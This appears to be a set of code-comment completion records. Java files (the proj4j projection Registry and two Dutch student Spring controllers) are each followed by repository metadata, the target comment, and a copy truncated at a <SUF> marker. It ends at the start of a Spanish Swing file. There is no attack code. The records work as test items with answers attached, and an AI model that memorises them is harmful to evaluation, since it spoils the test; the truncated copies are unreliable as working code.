Ellipsoid.WGS84,
new Ellipsoid("NAD27", 6378249.145, 0.0, 293.4663, "NAD27: Clarke 1880 mod."),
new Ellipsoid("NAD83", 6378137.0, 0.0, 298.257222101, "NAD83: GRS 1980 (IUGG, 1980)"),
};
public Ellipsoid getEllipsoid(String name)
{
for ( int i = 0; i < ellipsoids.length; i++ ) {
if ( ellipsoids[i].shortName.equals( name ) ) {
return ellipsoids[i];
}
}
return null;
}
private Map<String, Class> projRegistry;
private void register( String name, Class cls, String description ) {
projRegistry.put( name, cls );
}
public Projection getProjection( String name ) {
if ( projRegistry == null )
initialize();
Class cls = (Class)projRegistry.get( name );
if ( cls != null ) {
try {
Projection projection = (Projection)cls.newInstance();
if ( projection != null )
projection.setName( name );
return projection;
}
catch ( IllegalAccessException e ) {
e.printStackTrace();
}
catch ( InstantiationException e ) {
e.printStackTrace();
}
}
return null;
}
private void initialize() {
projRegistry = new HashMap();
// register( "aea", AlbersProjection.class, "Albers Equal Area" );
// register( "aeqd", EquidistantAzimuthalProjection.class, "Azimuthal Equidistant" );
// register( "airy", AiryProjection.class, "Airy" );
// register( "aitoff", AitoffProjection.class, "Aitoff" );
// register( "alsk", Projection.class, "Mod. Stereographics of Alaska" );
// register( "apian", Projection.class, "Apian Globular I" );
// register( "august", AugustProjection.class, "August Epicycloidal" );
register( "bacon", Projection.class, "Bacon Globular" );
// register( "bipc", BipolarProjection.class, "Bipolar conic of western hemisphere" );
// register( "boggs", BoggsProjection.class, "Boggs Eumorphic" );
// register( "bonne", BonneProjection.class, "Bonne (Werner lat_1=90)" );
// register( "cass", CassiniProjection.class, "Cassini" );
// register( "cc", CentralCylindricalProjection.class, "Central Cylindrical" );
// register( "cea", Projection.class, "Equal Area Cylindrical" );
// register( "chamb", Projection.class, "Chamberlin Trimetric" );
// register( "collg", CollignonProjection.class, "Collignon" );
// register( "crast", CrasterProjection.class, "Craster Parabolic (Putnins P4)" );
// register( "denoy", DenoyerProjection.class, "Denoyer Semi-Elliptical" );
// register( "eck1", Eckert1Projection.class, "Eckert I" );
// register( "eck2", Eckert2Projection.class, "Eckert II" );
// register( "eck3", Eckert3Projection.class, "Eckert III" );
// register( "eck4", Eckert4Projection.class, "Eckert IV" );
// register( "eck5", Eckert5Projection.class, "Eckert V" );
// register( "eck6", Eckert6Projection.class, "Eckert VI" );
// register( "eqc", PlateCarreeProjection.class, "Equidistant Cylindrical (Plate Caree)" );
// register( "eqdc", EquidistantConicProjection.class, "Equidistant Conic" );
// register( "euler", EulerProjection.class, "Euler" );
// register( "fahey", FaheyProjection.class, "Fahey" );
// register( "fouc", FoucautProjection.class, "Foucaut" );
// register( "fouc_s", FoucautSinusoidalProjection.class, "Foucaut Sinusoidal" );
// register( "gall", GallProjection.class, "Gall (Gall Stereographic)" );
// register( "gins8", Projection.class, "Ginsburg VIII (TsNIIGAiK)" );
// register( "gn_sinu", Projection.class, "General Sinusoidal Series" );
// register( "gnom", GnomonicAzimuthalProjection.class, "Gnomonic" );
// register( "goode", GoodeProjection.class, "Goode Homolosine" );
// register( "gs48", Projection.class, "Mod. Stererographics of 48 U.S." );
// register( "gs50", Projection.class, "Mod. Stererographics of 50 U.S." );
// register( "hammer", HammerProjection.class, "Hammer & Eckert-Greifendorff" );
// register( "hatano", HatanoProjection.class, "Hatano Asymmetrical Equal Area" );
// register( "imw_p", Projection.class, "Internation Map of the World Polyconic" );
// register( "kav5", KavraiskyVProjection.class, "Kavraisky V" );
// register( "kav7", Projection.class, "Kavraisky VII" );
// register( "labrd", Projection.class, "Laborde" );
// register( "laea", LambertAzimuthalEqualAreaProjection.class, "Lambert Azimuthal Equal Area" );
// register( "lagrng", LagrangeProjection.class, "Lagrange" );
// register( "larr", LarriveeProjection.class, "Larrivee" );
// register( "lask", LaskowskiProjection.class, "Laskowski" );
register( "latlong", LongLatProjection.class, "Lat/Long" );
register( "longlat", LongLatProjection.class, "Lat/Long" );
register( "lcc", LambertConformalConicProjection.class, "Lambert Conformal Conic" );
// register( "leac", LambertEqualAreaConicProjection.class, "Lambert Equal Area Conic" );
// register( "lee_os", Projection.class, "Lee Oblated Stereographic" );
// register( "loxim", LoximuthalProjection.class, "Loximuthal" );
// register( "lsat", LandsatProjection.class, "Space oblique for LANDSAT" );
// register( "mbt_s", Projection.class, "McBryde-Thomas Flat-Polar Sine" );
// register( "mbt_fps", McBrydeThomasFlatPolarSine2Projection.class, "McBryde-Thomas Flat-Pole Sine (No. 2)" );
// register( "mbtfpp", McBrydeThomasFlatPolarParabolicProjection.class, "McBride-Thomas Flat-Polar Parabolic" );
// register( "mbtfpq", McBrydeThomasFlatPolarQuarticProjection.class, "McBryde-Thomas Flat-Polar Quartic" );
// register( "mbtfps", Projection.class, "McBryde-Thomas Flat-Polar Sinusoidal" );
// register( "merc", MercatorProjection.class, "Mercator" );
// register( "mil_os", Projection.class, "Miller Oblated Stereographic" );
// register( "mill", MillerProjection.class, "Miller Cylindrical" );
// register( "mpoly", Projection.class, "Modified Polyconic" );
// register( "moll", MolleweideProjection.class, "Mollweide" );
// register( "murd1", Murdoch1Projection.class, "Murdoch I" );
// register( "murd2", Murdoch2Projection.class, "Murdoch II" );
// register( "murd3", Murdoch3Projection.class, "Murdoch III" );
// register( "nell", NellProjection.class, "Nell" );
// register( "nell_h", Projection.class, "Nell-Hammer" );
// register( "nicol", NicolosiProjection.class, "Nicolosi Globular" );
// register( "nsper", PerspectiveProjection.class, "Near-sided perspective" );
// register( "nzmg", Projection.class, "New Zealand Map Grid" );
// register( "ob_tran", Projection.class, "General Oblique Transformation" );
// register( "ocea", Projection.class, "Oblique Cylindrical Equal Area" );
// register( "oea", Projection.class, "Oblated Equal Area" );
// register( "omerc", ObliqueMercatorProjection.class, "Oblique Mercator" );
// register( "ortel", Projection.class, "Ortelius Oval" );
// register( "ortho", OrthographicAzimuthalProjection.class, "Orthographic" );
// register( "pconic", PerspectiveConicProjection.class, "Perspective Conic" );
// register( "poly", PolyconicProjection.class, "Polyconic (American)" );
// register( "putp1", Projection.class, "Putnins P1" );
// register( "putp2", PutninsP2Projection.class, "Putnins P2" );
// register( "putp3", Projection.class, "Putnins P3" );
// register( "putp3p", Projection.class, "Putnins P3'" );
// register( "putp4p", PutninsP4Projection.class, "Putnins P4'" );
// register( "putp5", PutninsP5Projection.class, "Putnins P5" );
// register( "putp5p", PutninsP5PProjection.class, "Putnins P5'" );
// register( "putp6", Projection.class, "Putnins P6" );
// register( "putp6p", Projection.class, "Putnins P6'" );
// register( "qua_aut", QuarticAuthalicProjection.class, "Quartic Authalic" );
// register( "robin", RobinsonProjection.class, "Robinson" );
// register( "rpoly", RectangularPolyconicProjection.class, "Rectangular Polyconic" );
// register( "sinu", SinusoidalProjection.class, "Sinusoidal (Sanson-Flamsteed)" );
// register( "somerc", SwissObliqueMercatorProjection.class, "Swiss Oblique Mercator" );
// register( "stere", StereographicAzimuthalProjection.class, "Stereographic" );
// register( "sterea", ObliqueStereographicAlternativeProjection.class, "Oblique Stereographic Alternative" );
// register( "tcc", TranverseCentralCylindricalProjection.class, "Transverse Central Cylindrical" );
// register( "tcea", TransverseCylindricalEqualArea.class, "Transverse Cylindrical Equal Area" );
// register( "tissot", TissotProjection.class, "Tissot Conic" );
// register( "tmerc", TransverseMercatorProjection.class, "Transverse Mercator" );
// register( "tpeqd", Projection.class, "Two Point Equidistant" );
// register( "tpers", Projection.class, "Tilted perspective" );
// register( "ups", Projection.class, "Universal Polar Stereographic" );
// register( "urm5", Projection.class, "Urmaev V" );
// register( "urmfps", UrmaevFlatPolarSinusoidalProjection.class, "Urmaev Flat-Polar Sinusoidal" );
// register( "utm", TransverseMercatorProjection.class, "Universal Transverse Mercator (UTM)" );
// register( "vandg", VanDerGrintenProjection.class, "van der Grinten (I)" );
// register( "vandg2", Projection.class, "van der Grinten II" );
// register( "vandg3", Projection.class, "van der Grinten III" );
// register( "vandg4", Projection.class, "van der Grinten IV" );
// register( "vitk1", VitkovskyProjection.class, "Vitkovsky I" );
// register( "wag1", Wagner1Projection.class, "Wagner I (Kavraisky VI)" );
// register( "wag2", Wagner2Projection.class, "Wagner II" );
// register( "wag3", Wagner3Projection.class, "Wagner III" );
// register( "wag4", Wagner4Projection.class, "Wagner IV" );
// register( "wag5", Wagner5Projection.class, "Wagner V" );
// register( "wag6", Projection.class, "Wagner VI" );
// register( "wag7", Wagner7Projection.class, "Wagner VII" );
// register( "weren", WerenskioldProjection.class, "Werenskiold I" );
// register( "wink1", Projection.class, "Winkel I" );
// register( "wink2", Projection.class, "Winkel II" );
// register( "wintri", WinkelTripelProjection.class, "Winkel Tripel" );
}
}
| ndamiens/proj4j-android | src/org/osgeo/proj4j/Registry.java | 5,465 | // register( "weren", WerenskioldProjection.class, "Werenskiold I" );
| line_comment | nl | package org.osgeo.proj4j;
import java.util.HashMap;
import java.util.Map;
import org.osgeo.proj4j.datum.Datum;
import org.osgeo.proj4j.datum.Ellipsoid;
import org.osgeo.proj4j.proj.*;
/**
* Supplies predefined values for various library classes
* such as {@link Ellipsoid}, {@link Datum}, and {@link Projection}.
*
* @author Martin Davis
*
*/
public class Registry {
public Registry() {
super();
}
public final static Datum[] datums =
{
Datum.WGS84,
Datum.GGRS87,
Datum.NAD27,
Datum.NAD83,
Datum.POTSDAM,
Datum.CARTHAGE,
Datum.HERMANNSKOGEL,
Datum.IRE65,
Datum.NZGD49,
Datum.OSEB36
};
public Datum getDatum(String code)
{
for ( int i = 0; i < datums.length; i++ ) {
if ( datums[i].getCode().equals( code ) ) {
return datums[i];
}
}
return null;
}
public final static Ellipsoid[] ellipsoids =
{
Ellipsoid.SPHERE,
new Ellipsoid("MERIT", 6378137.0, 0.0, 298.257, "MERIT 1983"),
new Ellipsoid("SGS85", 6378136.0, 0.0, 298.257, "Soviet Geodetic System 85"),
Ellipsoid.GRS80,
new Ellipsoid("IAU76", 6378140.0, 0.0, 298.257, "IAU 1976"),
Ellipsoid.AIRY,
Ellipsoid.MOD_AIRY,
new Ellipsoid("APL4.9", 6378137.0, 0.0, 298.25, "Appl. Physics. 1965"),
new Ellipsoid("NWL9D", 6378145.0, 298.25, 0.0, "Naval Weapons Lab., 1965"),
new Ellipsoid("andrae", 6377104.43, 300.0, 0.0, "Andrae 1876 (Den., Iclnd.)"),
new Ellipsoid("aust_SA", 6378160.0, 0.0, 298.25, "Australian Natl & S. Amer. 1969"),
new Ellipsoid("GRS67", 6378160.0, 0.0, 298.2471674270, "GRS 67 (IUGG 1967)"),
Ellipsoid.BESSEL,
new Ellipsoid("bess_nam", 6377483.865, 0.0, 299.1528128, "Bessel 1841 (Namibia)"),
Ellipsoid.CLARKE_1866,
Ellipsoid.CLARKE_1880,
new Ellipsoid("CPM", 6375738.7, 0.0, 334.29, "Comm. des Poids et Mesures 1799"),
new Ellipsoid("delmbr", 6376428.0, 0.0, 311.5, "Delambre 1810 (Belgium)"),
new Ellipsoid("engelis", 6378136.05, 0.0, 298.2566, "Engelis 1985"),
Ellipsoid.EVEREST,
new Ellipsoid("evrst48", 6377304.063, 0.0, 300.8017, "Everest 1948"),
new Ellipsoid("evrst56", 6377301.243, 0.0, 300.8017, "Everest 1956"),
new Ellipsoid("evrst69", 6377295.664, 0.0, 300.8017, "Everest 1969"),
new Ellipsoid("evrstSS", 6377298.556, 0.0, 300.8017, "Everest (Sabah & Sarawak)"),
new Ellipsoid("fschr60", 6378166.0, 0.0, 298.3, "Fischer (Mercury Datum) 1960"),
new Ellipsoid("fschr60m", 6378155.0, 0.0, 298.3, "Modified Fischer 1960"),
new Ellipsoid("fschr68", 6378150.0, 0.0, 298.3, "Fischer 1968"),
new Ellipsoid("helmert", 6378200.0, 0.0, 298.3, "Helmert 1906"),
new Ellipsoid("hough", 6378270.0, 0.0, 297.0, "Hough"),
Ellipsoid.INTERNATIONAL,
Ellipsoid.INTERNATIONAL_1967,
Ellipsoid.KRASSOVSKY,
new Ellipsoid("kaula", 6378163.0, 0.0, 298.24, "Kaula 1961"),
new Ellipsoid("lerch", 6378139.0, 0.0, 298.257, "Lerch 1979"),
new Ellipsoid("mprts", 6397300.0, 0.0, 191.0, "Maupertius 1738"),
new Ellipsoid("plessis", 6376523.0, 6355863.0, 0.0, "Plessis 1817 France)"),
new Ellipsoid("SEasia", 6378155.0, 6356773.3205, 0.0, "Southeast Asia"),
new Ellipsoid("walbeck", 6376896.0, 6355834.8467, 0.0, "Walbeck"),
Ellipsoid.WGS60,
Ellipsoid.WGS66,
Ellipsoid.WGS72,
Ellipsoid.WGS84,
new Ellipsoid("NAD27", 6378249.145, 0.0, 293.4663, "NAD27: Clarke 1880 mod."),
new Ellipsoid("NAD83", 6378137.0, 0.0, 298.257222101, "NAD83: GRS 1980 (IUGG, 1980)"),
};
public Ellipsoid getEllipsoid(String name)
{
for ( int i = 0; i < ellipsoids.length; i++ ) {
if ( ellipsoids[i].shortName.equals( name ) ) {
return ellipsoids[i];
}
}
return null;
}
private Map<String, Class> projRegistry;
private void register( String name, Class cls, String description ) {
projRegistry.put( name, cls );
}
public Projection getProjection( String name ) {
if ( projRegistry == null )
initialize();
Class cls = (Class)projRegistry.get( name );
if ( cls != null ) {
try {
Projection projection = (Projection)cls.newInstance();
if ( projection != null )
projection.setName( name );
return projection;
}
catch ( IllegalAccessException e ) {
e.printStackTrace();
}
catch ( InstantiationException e ) {
e.printStackTrace();
}
}
return null;
}
private void initialize() {
projRegistry = new HashMap();
// register( "aea", AlbersProjection.class, "Albers Equal Area" );
// register( "aeqd", EquidistantAzimuthalProjection.class, "Azimuthal Equidistant" );
// register( "airy", AiryProjection.class, "Airy" );
// register( "aitoff", AitoffProjection.class, "Aitoff" );
// register( "alsk", Projection.class, "Mod. Stereographics of Alaska" );
// register( "apian", Projection.class, "Apian Globular I" );
// register( "august", AugustProjection.class, "August Epicycloidal" );
register( "bacon", Projection.class, "Bacon Globular" );
// register( "bipc", BipolarProjection.class, "Bipolar conic of western hemisphere" );
// register( "boggs", BoggsProjection.class, "Boggs Eumorphic" );
// register( "bonne", BonneProjection.class, "Bonne (Werner lat_1=90)" );
// register( "cass", CassiniProjection.class, "Cassini" );
// register( "cc", CentralCylindricalProjection.class, "Central Cylindrical" );
// register( "cea", Projection.class, "Equal Area Cylindrical" );
// register( "chamb", Projection.class, "Chamberlin Trimetric" );
// register( "collg", CollignonProjection.class, "Collignon" );
// register( "crast", CrasterProjection.class, "Craster Parabolic (Putnins P4)" );
// register( "denoy", DenoyerProjection.class, "Denoyer Semi-Elliptical" );
// register( "eck1", Eckert1Projection.class, "Eckert I" );
// register( "eck2", Eckert2Projection.class, "Eckert II" );
// register( "eck3", Eckert3Projection.class, "Eckert III" );
// register( "eck4", Eckert4Projection.class, "Eckert IV" );
// register( "eck5", Eckert5Projection.class, "Eckert V" );
// register( "eck6", Eckert6Projection.class, "Eckert VI" );
// register( "eqc", PlateCarreeProjection.class, "Equidistant Cylindrical (Plate Caree)" );
// register( "eqdc", EquidistantConicProjection.class, "Equidistant Conic" );
// register( "euler", EulerProjection.class, "Euler" );
// register( "fahey", FaheyProjection.class, "Fahey" );
// register( "fouc", FoucautProjection.class, "Foucaut" );
// register( "fouc_s", FoucautSinusoidalProjection.class, "Foucaut Sinusoidal" );
// register( "gall", GallProjection.class, "Gall (Gall Stereographic)" );
// register( "gins8", Projection.class, "Ginsburg VIII (TsNIIGAiK)" );
// register( "gn_sinu", Projection.class, "General Sinusoidal Series" );
// register( "gnom", GnomonicAzimuthalProjection.class, "Gnomonic" );
// register( "goode", GoodeProjection.class, "Goode Homolosine" );
// register( "gs48", Projection.class, "Mod. Stererographics of 48 U.S." );
// register( "gs50", Projection.class, "Mod. Stererographics of 50 U.S." );
// register( "hammer", HammerProjection.class, "Hammer & Eckert-Greifendorff" );
// register( "hatano", HatanoProjection.class, "Hatano Asymmetrical Equal Area" );
// register( "imw_p", Projection.class, "Internation Map of the World Polyconic" );
// register( "kav5", KavraiskyVProjection.class, "Kavraisky V" );
// register( "kav7", Projection.class, "Kavraisky VII" );
// register( "labrd", Projection.class, "Laborde" );
// register( "laea", LambertAzimuthalEqualAreaProjection.class, "Lambert Azimuthal Equal Area" );
// register( "lagrng", LagrangeProjection.class, "Lagrange" );
// register( "larr", LarriveeProjection.class, "Larrivee" );
// register( "lask", LaskowskiProjection.class, "Laskowski" );
register( "latlong", LongLatProjection.class, "Lat/Long" );
register( "longlat", LongLatProjection.class, "Lat/Long" );
register( "lcc", LambertConformalConicProjection.class, "Lambert Conformal Conic" );
// register( "leac", LambertEqualAreaConicProjection.class, "Lambert Equal Area Conic" );
// register( "lee_os", Projection.class, "Lee Oblated Stereographic" );
// register( "loxim", LoximuthalProjection.class, "Loximuthal" );
// register( "lsat", LandsatProjection.class, "Space oblique for LANDSAT" );
// register( "mbt_s", Projection.class, "McBryde-Thomas Flat-Polar Sine" );
// register( "mbt_fps", McBrydeThomasFlatPolarSine2Projection.class, "McBryde-Thomas Flat-Pole Sine (No. 2)" );
// register( "mbtfpp", McBrydeThomasFlatPolarParabolicProjection.class, "McBride-Thomas Flat-Polar Parabolic" );
// register( "mbtfpq", McBrydeThomasFlatPolarQuarticProjection.class, "McBryde-Thomas Flat-Polar Quartic" );
// register( "mbtfps", Projection.class, "McBryde-Thomas Flat-Polar Sinusoidal" );
// register( "merc", MercatorProjection.class, "Mercator" );
// register( "mil_os", Projection.class, "Miller Oblated Stereographic" );
// register( "mill", MillerProjection.class, "Miller Cylindrical" );
// register( "mpoly", Projection.class, "Modified Polyconic" );
// register( "moll", MolleweideProjection.class, "Mollweide" );
// register( "murd1", Murdoch1Projection.class, "Murdoch I" );
// register( "murd2", Murdoch2Projection.class, "Murdoch II" );
// register( "murd3", Murdoch3Projection.class, "Murdoch III" );
// register( "nell", NellProjection.class, "Nell" );
// register( "nell_h", Projection.class, "Nell-Hammer" );
// register( "nicol", NicolosiProjection.class, "Nicolosi Globular" );
// register( "nsper", PerspectiveProjection.class, "Near-sided perspective" );
// register( "nzmg", Projection.class, "New Zealand Map Grid" );
// register( "ob_tran", Projection.class, "General Oblique Transformation" );
// register( "ocea", Projection.class, "Oblique Cylindrical Equal Area" );
// register( "oea", Projection.class, "Oblated Equal Area" );
// register( "omerc", ObliqueMercatorProjection.class, "Oblique Mercator" );
// register( "ortel", Projection.class, "Ortelius Oval" );
// register( "ortho", OrthographicAzimuthalProjection.class, "Orthographic" );
// register( "pconic", PerspectiveConicProjection.class, "Perspective Conic" );
// register( "poly", PolyconicProjection.class, "Polyconic (American)" );
// register( "putp1", Projection.class, "Putnins P1" );
// register( "putp2", PutninsP2Projection.class, "Putnins P2" );
// register( "putp3", Projection.class, "Putnins P3" );
// register( "putp3p", Projection.class, "Putnins P3'" );
// register( "putp4p", PutninsP4Projection.class, "Putnins P4'" );
// register( "putp5", PutninsP5Projection.class, "Putnins P5" );
// register( "putp5p", PutninsP5PProjection.class, "Putnins P5'" );
// register( "putp6", Projection.class, "Putnins P6" );
// register( "putp6p", Projection.class, "Putnins P6'" );
// register( "qua_aut", QuarticAuthalicProjection.class, "Quartic Authalic" );
// register( "robin", RobinsonProjection.class, "Robinson" );
// register( "rpoly", RectangularPolyconicProjection.class, "Rectangular Polyconic" );
// register( "sinu", SinusoidalProjection.class, "Sinusoidal (Sanson-Flamsteed)" );
// register( "somerc", SwissObliqueMercatorProjection.class, "Swiss Oblique Mercator" );
// register( "stere", StereographicAzimuthalProjection.class, "Stereographic" );
// register( "sterea", ObliqueStereographicAlternativeProjection.class, "Oblique Stereographic Alternative" );
// register( "tcc", TranverseCentralCylindricalProjection.class, "Transverse Central Cylindrical" );
// register( "tcea", TransverseCylindricalEqualArea.class, "Transverse Cylindrical Equal Area" );
// register( "tissot", TissotProjection.class, "Tissot Conic" );
// register( "tmerc", TransverseMercatorProjection.class, "Transverse Mercator" );
// register( "tpeqd", Projection.class, "Two Point Equidistant" );
// register( "tpers", Projection.class, "Tilted perspective" );
// register( "ups", Projection.class, "Universal Polar Stereographic" );
// register( "urm5", Projection.class, "Urmaev V" );
// register( "urmfps", UrmaevFlatPolarSinusoidalProjection.class, "Urmaev Flat-Polar Sinusoidal" );
// register( "utm", TransverseMercatorProjection.class, "Universal Transverse Mercator (UTM)" );
// register( "vandg", VanDerGrintenProjection.class, "van der Grinten (I)" );
// register( "vandg2", Projection.class, "van der Grinten II" );
// register( "vandg3", Projection.class, "van der Grinten III" );
// register( "vandg4", Projection.class, "van der Grinten IV" );
// register( "vitk1", VitkovskyProjection.class, "Vitkovsky I" );
// register( "wag1", Wagner1Projection.class, "Wagner I (Kavraisky VI)" );
// register( "wag2", Wagner2Projection.class, "Wagner II" );
// register( "wag3", Wagner3Projection.class, "Wagner III" );
// register( "wag4", Wagner4Projection.class, "Wagner IV" );
// register( "wag5", Wagner5Projection.class, "Wagner V" );
// register( "wag6", Projection.class, "Wagner VI" );
// register( "wag7", Wagner7Projection.class, "Wagner VII" );
// register( "weren",<SUF>
// register( "wink1", Projection.class, "Winkel I" );
// register( "wink2", Projection.class, "Winkel II" );
// register( "wintri", WinkelTripelProjection.class, "Winkel Tripel" );
}
}
|
83514_1 | package be.thomasmore.party.controllers;
import be.thomasmore.party.model.Client;
import be.thomasmore.party.repositories.ClientRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import java.time.LocalDateTime;
import java.util.Optional;
import static java.time.LocalDateTime.now;
@Controller
public class ClientController {
@Autowired
ClientRepository clientRepository;
@GetMapping("/clienthome")
public String home(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
}
return "clienthome";
}
@GetMapping("/clientgreeting")
public String clientGreeting(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
final Client client = clientFromDb.get();
String message = "%s %s%s%s".formatted(
getGreeting(),
getPrefix(client),
client.getName(),
getPostfix(client));
model.addAttribute("message", message);
}
return "clientgreeting";
}
@GetMapping("/clientdetails")
public String clientDetails(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
final Client client = clientFromDb.get();
model.addAttribute("client", client);
model.addAttribute("discount", calculateDiscount(client));
}
return "clientdetails";
}
private String getPrefix(Client client) {
if (client.getNrOfOrders() < 10) return "";
if (client.getNrOfOrders() < 50) return "beste ";
return "allerliefste ";
}
private String getGreeting() {
LocalDateTime now = now();
//LocalDateTime now = LocalDateTime.parse("2023-09-23T17:15"); //for test purposes
//NOTE: dit is de meest naieve manier om iets te testen. Volgend jaar zien we daar meer over.
if (now.getHour() < 6) return "Goedenacht";
if (now.getHour() < 12) return "Goedemorgen";
if (now.getHour() < 17) return "Goedemiddag";
if (now.getHour() < 22) return "Goedenavond";
return "Goedenacht";
}
private String getPostfix(Client client) {
if (client.getNrOfOrders() == 0) return ", en welkom!";
if (client.getNrOfOrders() >= 80) return ", jij bent een topper!";
return "";
}
private double calculateDiscount(Client client) {
if (client.getTotalAmount() < 50) return 0;
return client.getTotalAmount() / 200;
}
} | neeraj543/Toets | src/main/java/be/thomasmore/party/controllers/ClientController.java | 811 | //NOTE: dit is de meest naieve manier om iets te testen. Volgend jaar zien we daar meer over. | line_comment | nl | package be.thomasmore.party.controllers;
import be.thomasmore.party.model.Client;
import be.thomasmore.party.repositories.ClientRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import java.time.LocalDateTime;
import java.util.Optional;
import static java.time.LocalDateTime.now;
@Controller
public class ClientController {
@Autowired
ClientRepository clientRepository;
@GetMapping("/clienthome")
public String home(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
}
return "clienthome";
}
@GetMapping("/clientgreeting")
public String clientGreeting(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
final Client client = clientFromDb.get();
String message = "%s %s%s%s".formatted(
getGreeting(),
getPrefix(client),
client.getName(),
getPostfix(client));
model.addAttribute("message", message);
}
return "clientgreeting";
}
@GetMapping("/clientdetails")
public String clientDetails(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
final Client client = clientFromDb.get();
model.addAttribute("client", client);
model.addAttribute("discount", calculateDiscount(client));
}
return "clientdetails";
}
private String getPrefix(Client client) {
if (client.getNrOfOrders() < 10) return "";
if (client.getNrOfOrders() < 50) return "beste ";
return "allerliefste ";
}
private String getGreeting() {
LocalDateTime now = now();
//LocalDateTime now = LocalDateTime.parse("2023-09-23T17:15"); //for test purposes
//NOTE: dit<SUF>
if (now.getHour() < 6) return "Goedenacht";
if (now.getHour() < 12) return "Goedemorgen";
if (now.getHour() < 17) return "Goedemiddag";
if (now.getHour() < 22) return "Goedenavond";
return "Goedenacht";
}
private String getPostfix(Client client) {
if (client.getNrOfOrders() == 0) return ", en welkom!";
if (client.getNrOfOrders() >= 80) return ", jij bent een topper!";
return "";
}
private double calculateDiscount(Client client) {
if (client.getTotalAmount() < 50) return 0;
return client.getTotalAmount() / 200;
}
} |
83494_1 | package be.thomasmore.party.controllers;
import be.thomasmore.party.model.Client;
import be.thomasmore.party.repositories.ClientRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import java.time.LocalDateTime;
import java.util.Optional;
import static java.time.LocalDateTime.now;
@Controller
public class ClientController {
@Autowired
ClientRepository clientRepository;
@GetMapping("/clienthome")
public String home(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
}
return "clienthome";
}
@GetMapping("/clientgreeting")
public String clientGreeting(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
final Client client = clientFromDb.get();
String message = "%s %s%s%s".formatted(
getGreeting(),
getPrefix(client),
client.getName(),
getPostfix(client));
model.addAttribute("message", message);
}
return "clientgreeting";
}
@GetMapping("/clientdetails")
public String clientDetails(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
final Client client = clientFromDb.get();
model.addAttribute("client", client);
model.addAttribute("discount", calculateDiscount(client));
}
return "clientdetails";
}
private String getPrefix(Client client) {
if (client.getNrOfOrders() < 10) return "";
if (client.getNrOfOrders() < 50) return "beste ";
return "allerliefste ";
}
private String getGreeting() {
LocalDateTime now = now();
//LocalDateTime now = LocalDateTime.parse("2023-09-23T17:15"); //for test purposes
//NOTE: dit is de meest naieve manier om iets te testen. Volgend jaar zien we daar meer over.
if (now.getHour() < 6) return "Goedenacht";
if (now.getHour() < 12) return "Goedemorgen";
if (now.getHour() < 17) return "Goedemiddag";
if (now.getHour() < 22) return "Goedenavond";
return "Goedenacht";
}
private String getPostfix(Client client) {
if (client.getNrOfOrders() == 0) return ", en welkom!";
if (client.getNrOfOrders() >= 80) return ", jij bent een topper!";
return "";
}
private double calculateDiscount(Client client) {
if (client.getTotalAmount() < 50) return 0;
return client.getTotalAmount() / 200;
}
} | neeraj543/Toets-1 | src/main/java/be/thomasmore/party/controllers/ClientController.java | 806 | //NOTE: dit is de meest naieve manier om iets te testen. Volgend jaar zien we daar meer over. | line_comment | nl | package be.thomasmore.party.controllers;
import be.thomasmore.party.model.Client;
import be.thomasmore.party.repositories.ClientRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import java.time.LocalDateTime;
import java.util.Optional;
import static java.time.LocalDateTime.now;
@Controller
public class ClientController {
@Autowired
ClientRepository clientRepository;
@GetMapping("/clienthome")
public String home(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
}
return "clienthome";
}
@GetMapping("/clientgreeting")
public String clientGreeting(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
final Client client = clientFromDb.get();
String message = "%s %s%s%s".formatted(
getGreeting(),
getPrefix(client),
client.getName(),
getPostfix(client));
model.addAttribute("message", message);
}
return "clientgreeting";
}
@GetMapping("/clientdetails")
public String clientDetails(Model model) {
final Optional<Client> clientFromDb = clientRepository.findById(1);
if (clientFromDb.isPresent()) {
final Client client = clientFromDb.get();
model.addAttribute("client", client);
model.addAttribute("discount", calculateDiscount(client));
}
return "clientdetails";
}
private String getPrefix(Client client) {
if (client.getNrOfOrders() < 10) return "";
if (client.getNrOfOrders() < 50) return "beste ";
return "allerliefste ";
}
private String getGreeting() {
LocalDateTime now = now();
//LocalDateTime now = LocalDateTime.parse("2023-09-23T17:15"); //for test purposes
//NOTE: dit<SUF>
if (now.getHour() < 6) return "Goedenacht";
if (now.getHour() < 12) return "Goedemorgen";
if (now.getHour() < 17) return "Goedemiddag";
if (now.getHour() < 22) return "Goedenavond";
return "Goedenacht";
}
private String getPostfix(Client client) {
if (client.getNrOfOrders() == 0) return ", en welkom!";
if (client.getNrOfOrders() >= 80) return ", jij bent een topper!";
return "";
}
private double calculateDiscount(Client client) {
if (client.getTotalAmount() < 50) return 0;
return client.getTotalAmount() / 200;
}
} |
26529_43 | /*
* Clientes.java
*
* Created on 11 de marzo de 2005, 11:28
*/
/*NOTA: Como es el ifaz del nodo central no tenemos que poner los pedidos pero en el ifaz del punto de venta SI!!*/
/*NOTA: tenemos que llamar desde un boton a la ventana de los pedidos (en el PV!)*/
package Interfaz;
import java.util.Vector;
import javax.swing.table.DefaultTableModel;
import javax.swing.JTable;
